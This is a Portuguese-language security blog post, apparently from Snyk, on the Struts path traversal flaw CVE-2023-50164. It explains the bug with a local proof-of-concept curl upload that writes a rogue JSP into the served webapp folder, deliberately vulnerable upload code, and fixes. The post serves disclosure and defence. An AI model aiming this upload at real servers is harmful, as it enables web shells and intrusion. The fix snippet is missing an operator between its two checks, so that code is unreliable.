Skip to main content

Krampus traz uma vulnerabilidade no Struts no fim do ano

Escrito por
feature snyk honeycomb

2 de janeiro de 2024

0 minutos de leitura

Nota do editor: 16 de janeiro de 2024

Um exemplo de código neste blog foi atualizado para aumentar a segurança da correção.

Em 20 de dezembro de 2023, o NIST atualizou uma CVE para incluir uma nova vulnerabilidade de path traversal em struts-core. Trata-se da CVE-2023-50164, também listada no Snyk Vulnerability Database, com gravidade crítica e pontuação CVSS de 9,8. Se você trabalha com cibersegurança há tempo suficiente, deve se lembrar da violação de dados da Equifax em 2017, que também ocorreu devido a uma vulnerabilidade não corrigida no Struts.

Nesta publicação, explico o problema, analiso sua gravidade, apresento um exploit de prova de conceito e dou orientações para corrigi-lo. E, se você usa o Snyk (inscreva-se gratuitamente aqui), pode receber notificações sobre essa e outras vulnerabilidades e recomendações para corrigir o código vulnerável.

Vamos começar pelas recomendações de correção. Basta atualizar sua versão do Struts para a 2.5.33 ou 6.3.0.2 (ou posterior), dependendo da versão-base que você usa.

Qual é a gravidade da vulnerabilidade de path traversal CVE-2023-50164 no Struts?

Já vimos o exemplo mais extremo de uma vulnerabilidade no Struts que pode levar à execução arbitrária de código. Essa vulnerabilidade causou, em 2017, a infame violação de dados da Equifax. O exploit funcionava enviando um cabeçalho Content-Type malformado e explorando a exceção resultante. Era o pior tipo de vulnerabilidade, pois o exploit podia ser executado remotamente e, na época, não havia nenhuma proteção no código contra ele.

Esta nova vulnerabilidade é grave — você deve atualizar sua versão do Struts. Ainda assim, é menos grave que a vulnerabilidade de 2017, pois exige tanto código inseguro quanto uma versão vulnerável do Struts.

Esta vulnerabilidade permite realizar um path traversal durante o upload de um arquivo. Ou seja, você pode enviar um arquivo e “sair” da pasta de upload designada ao informar um caminho relativo. Isso pode levar à execução remota de código, pois o caminho relativo pode apontar para pastas disponibilizadas pela aplicação.

Exploit de prova de conceito de path traversal para a CVE-2023-50164 do Struts

Todo o código desta publicação está no GitHub.

Este é um projeto Java que usa Maven para compilar. O projeto tem dois perfis: um chamado vuln (o padrão) e outro chamado no-vuln. Se você não conhece o Maven nem seus perfis, não se preocupe! É muito fácil executar o projeto, e o perfil padrão é o vulnerável. O único requisito é ter o Java Runtime, versão 17 ou posterior. 

Acesse a pasta do projeto que você clonou e execute o seguinte comando:

./mvnw clean jetty:run

Acesse o servidor em http://localhost:9999/struts-vuln-poc. Você verá uma interface bem simples para fazer upload de arquivos. Mas não é nisso que vamos nos concentrar. Para garantir que não há nada escondido nesta demonstração, acesse http://localhost:9999/struts-vuln-poc/rogue.jsp. Você deverá ver uma página 404 como esta:

Página de erro HTTP 404 informando que o arquivo JSP /rogue.jsp não foi encontrado, fornecida pelo Jetty 9.4.46

Queremos explorar essa vulnerabilidade. Então, abra uma janela do terminal, acesse a pasta do projeto e prepare-se para usar o cliente HTTP de sua preferência. No meu exemplo, uso o curl, mas você pode usar qualquer cliente HTTP que aceite upload de arquivos. Execute o seguinte comando:

curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Agora, acesse http://localhost:9999/struts-vuln-poc/rogue.jsp. Você deverá ver a mensagem: Ya been PWNED!.

Agora que exploramos a vulnerabilidade colocando um arquivo malicioso em uma pasta disponibilizada pelo nosso app, vamos analisar como isso foi possível.

Como mencionei, para que esse exploit funcione, são necessários tanto uma versão vulnerável da biblioteca Struts quanto código inseguro.

Vamos primeiro analisar a parte do código inseguro. A ação Upload tem três propriedades:

private File upload;
private String uploadFileName;
private String uploadContentType;

Devido à maneira como o Struts funciona, essas propriedades são preenchidas com os dados da solicitação feita por um cliente HTTP (seja o navegador ou um utilitário de linha de comando, como o curl).

O método execute processa a solicitação depois que as propriedades são definidas.

Este é o trecho principal do método execute:

String uploadDirectory = System.getProperty("user.dir") + "/uploads/";
File destFile = new File(uploadDirectory, uploadFileName);
FileUtils.copyFile(upload, destFile);

Consegue identificar o problema? Em vez de depender da nossa capacidade de encontrar bugs, podemos usar o Snyk para apontar o problema nesse código. O Snyk oferece uma interface de linha de comando (CLI), integrações com IDEs e uma interface web. Assim, você pode usá-lo onde quer que trabalhe. 

Estes são os resultados da execução de snyk code test na CLI, usando os recursos de teste estático de segurança de aplicações (SAST) do Snyk:

Terminal mostrando a análise estática do Snyk detectando uma vulnerabilidade de travessia de caminho de alta gravidade em Upload.java, linha 23.

O resultado mostra o número da linha específica em que há uma vulnerabilidade de segurança, além do tipo: Path Traversal. Também é possível ver a gravidade do problema, que é High.

Estes são os resultados da execução de snyk test na CLI, usando os recursos de análise de composição de software (SCA) do Snyk:

Saída do terminal do Snyk test mostrando uma vulnerabilidade crítica de execução remota de código no Apache Struts e recomendando a atualização da versão 6.3.0.1 para a 6.3.0.2

O resultado mostra que tenho uma dependência com uma vulnerabilidade conhecida: minha versão do struts-core, a 6.3.0.1. Também recomenda atualizá-la para a versão 6.3.0.2.

Os dois resultados são muito úteis e indicam ações concretas. Mas a integração com a IDE oferece uma visão ainda mais completa e útil.

Carreguei o projeto no IntelliJ IDEA, que uso para desenvolver em Java. Ao executar a análise do Snyk no projeto, obtenho os seguintes resultados:

A extensão da Snyk para IntelliJ IDEA detecta uma vulnerabilidade de execução remota de código em um componente do Struts.

No painel à esquerda, vejo os resultados de SAST e SCA. No painel à direita, vejo as recomendações específicas para corrigir os problemas.

E tem mais: ao clicar no problema no código, um painel mostra a correção aplicada em outros três projetos de código aberto que tiveram o mesmo problema:

A extensão do Snyk para IntelliJ IDEA detecta uma vulnerabilidade de path traversal no Struts.

Vamos nos concentrar no exemplo google/j2objc. Ao rolar a tela para baixo, vejo as linhas de código alteradas para corrigir essa vulnerabilidade, no formato de um diff:

Verificação de segurança do Snyk mostra uma vulnerabilidade crítica no Apache Struts e uma comparação de código que adiciona uma validação do caminho canônico

Isso facilita muito a correção do código, especialmente quando não conheço bem a vulnerabilidade.

Correção da vulnerabilidade de path traversal

Com as informações das ferramentas de análise do Snyk, agora posso corrigir tanto meu código personalizado quanto minhas dependências.

Vamos começar pelo código. Execute o seguinte comando com curl ou outro cliente HTTP:

curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Você verá uma mensagem de erro na saída: Attempted path traversal attack. Com base nas dicas da análise do Snyk Code, atualizei o código assim:

File uploadDirectory = new File(USER_DIR + "/uploads/");
File destFile = new File(uploadDirectory, uploadFileName);

if (
  !destFile.getCanonicalPath().startsWith(uploadDirectory.getCanonicalPath() + File.separator)
  !upload.getCanonicalPath().startsWith(USER_DIR)
) {
  throw new SecurityException("Attempted path traversal attack");
}

FileUtils.copyFile(upload, destFile);

A instrução if verifica se destFile usa o caminho canônico do diretório uploads definido por nós. Ela também verifica se o arquivo enviado está dentro das pastas definidas pelo app, e não em um local suspeito. Quando o arquivo é enviado, o Struts o coloca automaticamente em uma pasta temporária dentro do classpath. Se essas verificações falharem, uma SecurityException será lançada.

Isso representa uma grande melhoria em relação ao código original para se proteger contra path traversal.

Há um detalhe importante que vale mencionar. Observe que a verificação inclui uma barra final (/) por meio da chamada File.separator. Isso é essencial porque, sem ela, um usuário malicioso ainda poderia sair da pasta de uploads usando um exploit com caminho parcial. Isso ocorre porque getCanonicalPath() sempre retorna um valor sem a barra final. O assunto é explicado muito bem na palestra da DefCon por Jonathan Leitschuh. Uma correção ainda mais robusta usa getCanonicalFile().toPath(), incluído no repositório desta publicação. 

O principal aqui é que atualizar para a versão mais recente do Struts é a melhor e mais robusta maneira de resolver o problema de path traversal. Você não precisará depender de verificações manuais no código, pois os caminhos relativos serão removidos automaticamente.

Podemos reforçar ainda mais a segurança adotando as outras alterações recomendadas pela análise do Snyk. Ou seja, podemos atualizar o struts-core da versão 6.3.0.1 para a 6.3.0.2.

O projeto do repositório que você clonou antes tem um perfil que usa a versão atualizada de struts-core. Encerre o app em execução e exclua o arquivo src/main/webapp/rogue.jsp enviado anteriormente. Inicie o app novamente com o seguinte comando:

./mvnw clean jetty:run -P no-vuln

Agora, execute novamente o comando curl original:

curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Desta vez, você verá uma mensagem de sucesso como esta: File uploaded successfully to /CVE-2023-50164-POC/uploads/rogue.jsp

Observe que o caminho relativo informado foi ignorado. Talvez você esteja se perguntando por que não recebemos a mensagem de erro anterior. Isso acontece porque a versão atualizada de struts-core higieniza automaticamente os caminhos fornecidos como entrada. 

Se você definir um breakpoint na linha 23 da classe Upload.java, verá o seguinte ao fazer a solicitação com curl:

Visualização do depurador mostrando uploadFileName definido como "rogue.jsp", junto às variáveis do diretório de upload e do arquivo de destino.

O caminho relativo que informei foi removido de uploadFileName.

Fique um passo à frente das vulnerabilidades com o Snyk

Espero que esta demonstração da vulnerabilidade de path traversal nas versões antigas de struts-core tenha sido útil. Todo o código desta publicação está no GitHub.

As ferramentas de análise do Snyk detectaram o problema tanto na definição de dependências do projeto quanto no código personalizado.

Você pode aumentar ainda mais sua produtividade usando o Snyk para monitorar seu projeto continuamente e receber notificações automáticas quando novas vulnerabilidades forem descobertas. O Snyk também pode criar automaticamente uma pull request (PR) em seu nome quando encontrar uma nova vulnerabilidade. Basta revisar e fazer o merge!

Em vez de examinar CVEs e verificar manualmente se há problemas no seu código, você pode se concentrar no que faz de melhor: programar! Experimente o Snyk gratuitamente em: https://app.snyk.io

Mais recursos para lidar com o Apache Struts:

Comece a resolver desafios de Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo ao nosso workshop virtual introdutório sob demanda.

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Por que agentes de programação com IA continuam criando falhas de controle de acesso

Agentes de programação com IA podem gerar uma lógica de autorização que compila e passa pela revisão, mas permite que um tenant acesse os dados de outro. Saiba por que é difícil detectar falhas de controle de acesso e como evitá-las.